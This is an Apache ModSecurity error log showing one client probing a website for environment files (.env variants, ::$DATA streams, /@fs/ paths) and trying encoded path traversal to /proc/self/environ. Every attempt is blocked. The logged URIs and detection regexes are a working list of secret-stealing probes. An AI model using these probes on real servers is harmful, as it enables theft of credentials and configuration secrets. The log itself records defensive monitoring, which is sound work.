[Sun Oct 25 13:42:15.175315 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4_d90xbXd9S994rNKODgAAABo"]
[Sun Oct 25 13:42:15.175728 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4_d90xbXd9S994rNKODgAAABo"]
[Sun Oct 25 13:42:15.177391 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_d_VVegKXGA0pTecXlgAAACM"]
[Sun Oct 25 13:42:15.177498 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_d_VVegKXGA0pTecXlgAAACM"]
[Sun Oct 25 13:42:15.177649 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_d_VVegKXGA0pTecXlgAAACM"]
[Sun Oct 25 13:42:15.177946 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_d_VVegKXGA0pTecXlgAAACM"]
[Sun Oct 25 13:42:15.179242 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4_d5our3YxBmLR_JFxLAAAABU"]
[Sun Oct 25 13:42:15.179598 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4_d5our3YxBmLR_JFxLAAAABU"]
[Sun Oct 25 13:42:15.179881 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4_d5our3YxBmLR_JFxLAAAABU"]
[Sun Oct 25 13:42:15.388896 2026] [core:error] [pid 2873141:tid 2873141] [client 34.85.93.218:50764] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 13:42:15.405393 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4_d90xbXd9S994rNKODwAAABo"]
[Sun Oct 25 13:42:15.405507 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4_d5wbmFwznfsCF_-l3wAAABY"]
[Sun Oct 25 13:42:15.405849 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4_d90xbXd9S994rNKODwAAABo"]
[Sun Oct 25 13:42:15.406067 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4_d5wbmFwznfsCF_-l3wAAABY"]
[Sun Oct 25 13:42:15.406188 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4_d90xbXd9S994rNKODwAAABo"]
[Sun Oct 25 13:42:15.406417 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4_d5wbmFwznfsCF_-l3wAAABY"]
[Sun Oct 25 13:42:15.408272 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_d_VVegKXGA0pTecXlwAAACM"]
[Sun Oct 25 13:42:15.408757 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_d_VVegKXGA0pTecXlwAAACM"]
[Sun Oct 25 13:42:15.408989 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_d_VVegKXGA0pTecXlwAAACM"]
[Sun Oct 25 13:42:15.412298 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:50744] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_d9ANyK5EpBCn2dDqdgAAABk"]
[Sun Oct 25 13:42:15.413036 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:50744] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_d9ANyK5EpBCn2dDqdgAAABk"]
[Sun Oct 25 13:42:15.413456 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:50744] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_d9ANyK5EpBCn2dDqdgAAABk"]
[Sun Oct 25 13:42:15.489977 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4_d5our3YxBmLR_JFxLQAAABU"]
[Sun Oct 25 13:42:15.490194 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4_d5our3YxBmLR_JFxLQAAABU"]
[Sun Oct 25 13:42:15.490465 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4_d5our3YxBmLR_JFxLQAAABU"]
[Sun Oct 25 13:42:15.638196 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_d5wbmFwznfsCF_-l4AAAABY"]
[Sun Oct 25 13:42:15.638685 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_d5wbmFwznfsCF_-l4AAAABY"]
[Sun Oct 25 13:42:15.638970 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_d5wbmFwznfsCF_-l4AAAABY"]
[Sun Oct 25 13:42:15.643203 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4_d_VVegKXGA0pTecXmAAAACM"]
[Sun Oct 25 13:42:15.643490 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4_d_VVegKXGA0pTecXmAAAACM"]
[Sun Oct 25 13:42:15.643727 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4_d_VVegKXGA0pTecXmAAAACM"]
[Sun Oct 25 13:42:15.667971 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_d2ROfIjgFWURimb5vAAAABw"]
[Sun Oct 25 13:42:15.668537 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_d2ROfIjgFWURimb5vAAAABw"]
[Sun Oct 25 13:42:15.668895 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_d2ROfIjgFWURimb5vAAAABw"]
[Sun Oct 25 13:42:15.753852 2026] [core:error] [pid 2873150:tid 2873150] [client 34.85.93.218:50852] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 13:42:15.944987 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_d_VVegKXGA0pTecXmQAAACM"]
[Sun Oct 25 13:42:15.945055 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_d_VVegKXGA0pTecXmQAAACM"]
[Sun Oct 25 13:42:15.945083 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_d_VVegKXGA0pTecXmQAAACM"]
[Sun Oct 25 13:42:15.945511 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_d_VVegKXGA0pTecXmQAAACM"]
